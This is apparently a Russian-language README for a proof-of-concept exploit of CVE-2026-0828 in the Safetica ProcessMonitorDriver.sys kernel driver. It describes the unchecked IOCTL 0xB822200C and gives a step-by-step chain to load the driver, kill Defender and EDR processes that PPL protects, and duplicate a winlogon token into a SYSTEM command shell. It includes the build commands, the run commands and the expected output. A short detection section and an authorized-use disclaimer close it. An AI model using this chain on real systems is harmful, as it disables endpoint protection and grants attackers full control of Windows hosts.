
Proof-of-concept эксплойт для CVE-2026-0828, BYOVD-уязвимости в Safetica ProcessMonitorDriver.sys, позволяющей непривилегированному пользователю завершать процессы, защищённые PPL, и повышать локальные привилегии до SYSTEM через злоупотребление IOCTL и дублирование токенов.
Драйвер ядра Safetica DLP (ProcessMonitorDriver.sys) предоставляет неаутентифицированный IOCTL, который позволяет любому пользовательскому вызывающему объекту завершать произвольные процессы через ZwTerminateProcess в контексте ядра, обходя защиту PPL (Protected Process Light).
CVSS: 8.8 (Высокий) · Тип: BYOVD, LPE · Платформа: Windows x64
Обработчик IRP_MJ_DEVICE_CONTROL для IOCTL 0xB822200C вызывает ZwOpenProcess с PROCESS_ALL_ACCESS (0x1FFFFF) и затем ZwTerminateProcess, используя PID, переданный напрямую из входного буфера — без какой-либо проверки привилегий или вызывающего объекта.
// Vulnerable handler (IDA pseudocode)
ClientId.UniqueProcess = **(HANDLE **)(irp->AssociatedIrp.SystemBuffer);
ZwOpenProcess(&ProcessHandle, 0x1FFFFFu, &ObjectAttributes, &ClientId);
ZwTerminateProcess(ProcessHandle, 0); // no SeSinglePrivilegeCheck, no ExGetPreviousMode check
Поскольку вызов происходит в контексте ядра, процессы, защищённые PPL (Windows Defender, агенты EDR), могут быть завершены.
Затронутые версии: Safetica < 11.26.19 / < 10.5.150
Исправлено в: Safetica 11.26.19, 11.29.8, 10.5.150 — добавлена проверка привилегий в обработчик IOCTL
Ссылки: KOSEC Advisory · CERT VU#818729
Admin privileges
│
├─► Load ProcessMonitorDriver.sys
│ sc create STProcessMonitor type=kernel binPath=...
│
├─► PHASE 1: Kill EDR via IOCTL 0xB822200C
│ DeviceIoControl(\\.\STProcessMonitorDriver, 0xB822200C, &pid, 8, ...)
│ → ZwTerminateProcess(Defender/EDR, 0) [kernel ctx, PPL bypassed]
│
└─► PHASE 2: Token duplication → SYSTEM shell
AdjustTokenPrivileges(SeDebugPrivilege)
OpenProcess(winlogon.exe)
DuplicateTokenEx(TokenPrimary)
CreateProcessWithTokenW(cmd.exe)
→ NT AUTHORITY\SYSTEM
| Файл | Описание |
|---|---|
exploit.c | Полный PoC — убивает EDR, запускает cmd.exe от NT AUTHORITY\SYSTEM |
Требуется Visual Studio (командная строка x64 Native Tools):
cl.exe /W3 /O1 /nologo exploit.c /Fe:exploit.exe
Шаг 1 — Загрузка драйвера (Admin CMD):
sc create STProcessMonitor type= kernel binPath= "C:\path\to\ProcessMonitorDriver.sys"
sc start STProcessMonitor
Шаг 2 — Запуск PoC:
exploit.exe
Ожидаемый вывод:
[Phase 1] Killing EDR via CVE-2026-0828...
MsMpEng.exe PID 3412 -> KILLED
NisSrv.exe PID 4180 -> KILLED
SeDebugPrivilege enabled
winlogon.exe -> pid 560
[+] Got SYSTEM token handle.
[+] Token duplicated.
shell spawned
Откроется новое окно cmd.exe от имени NT AUTHORITY\SYSTEM.
Событие ID 7045 — установка нового сервиса ядра:
Service Name: STProcessMonitor
Service File Name: ...\ProcessMonitorDriver.sys
Service Type: kernel mode driver
Блок-лист WDAC (SHA256):
70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
ETW: Отслеживайте вызовы DeviceIoControl к \\.\STProcessMonitorDriver.
Только для авторизованных исследований безопасности и лабораторного использования. Не используйте против систем, которыми вы не владеете или на тестирование которых не имеете письменного разрешения.